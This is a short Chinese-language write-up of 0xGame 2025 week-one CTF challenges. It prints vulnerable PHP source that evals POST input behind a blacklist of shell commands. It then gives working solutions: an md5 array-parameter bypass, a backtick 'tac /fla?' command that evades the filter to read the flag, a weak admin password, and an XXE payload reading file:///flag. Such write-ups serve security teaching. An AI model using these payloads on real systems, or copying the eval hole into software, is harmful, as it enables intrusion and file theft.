0%

0xgame2025-writeup

week1

柠檬

签到题,flag就在源码里

RCE1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
highlight_file(__FILE__);
$rce1 = $_GET['rce1'];
$rce2 = $_POST['rce2'];
$real_code = $_POST['rce3'];

$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i';

function check(string $text): bool {
global $pattern;
return (bool) preg_match($pattern, $text);
}


if (isset($rce1) && isset($rce2)){
if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){
if(!check($real_code)){
eval($real_code);
} else {
echo "Don't hack me ~";
}
} else {
echo "md5 do not match correctly";
}
}
else{
echo "Please provide both rce1 and rce2";
}
?>

rce1和rce2是md5强比较,所以可以用数组绕过

GET传参rce1[]=1

POST传参rce2[]=2

RCE3 要绕过pattern检测

直接

1
var_dump(`tac /fla?`)

留言板(粉)

题目说登录访问login.php,但是有非预期

可以不登陆直接访问xxxmleee.php

正常登陆的话弱密码 admin/admin123就能登录

然后是XXE

拿bp传XXE就可以

1
2
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///flag">]>
<x>&xxe;</x>

XXE最好是在bp发,网页上发包有些区别